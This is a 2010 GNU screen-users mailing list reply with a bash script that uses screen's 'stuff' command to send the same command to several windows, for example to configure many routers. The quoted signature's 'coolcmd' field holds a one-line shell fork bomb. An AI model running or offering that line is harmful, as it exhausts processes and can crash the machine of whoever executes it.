[Top][All Lists]
[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: Send keystrokes to multiple windows
From: |
Kevin Van Workum |
Subject: |
Re: Send keystrokes to multiple windows |
Date: |
Sun, 12 Sep 2010 12:00:02 -0400 |
On Sat, Sep 11, 2010 at 12:37 PM, Thomas Habets <address@hidden> wrote:
>
> Is it possible to turn on a mode where what I type is written to all open
> windows at the same time?
>
> If not, I'd like to request that feature.
>
> I'd like to use it to send identical commands to a bunch of routers that
> I've logged into.
Here's a little bash script I call sendcmd to do what you want:
#!/bin/bash
# usage: sendcmd -c "echo hello world" -w 0,1,3
WINDOWS=0
CMD=""
while getopts 'c:w:' OPT; do
case $OPT in
c) CMD=$OPTARG;;
w) WINDOWS=$(echo $OPTARG | sed 's/,/ /g');;
esac
done
# Use the first screen found
STY=$(screen -list | grep pts | head -1 | sed -e 's/^\s//' -e 's/\s.*$//')
for WIN in $WINDOWS; do
STY=$STY screen -X at $WIN stuff "$CMD\n"
done
>
> ---------
> typedef struct me_s {
> char name[] = { "Thomas Habets" };
> char email[] = { "address@hidden" };
> char kernel[] = { "Linux" };
> char *pgpKey[] = { "http://www.habets.pp.se/pubkey.txt" };
> char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE 0945 286A E90A AD48 E854" };
> char coolcmd[] = { "echo '. ./_&. ./_'>_;. ./_" };
> } me_t;
>
> _______________________________________________
> screen-users mailing list
> address@hidden
> http://lists.gnu.org/mailman/listinfo/screen-users
>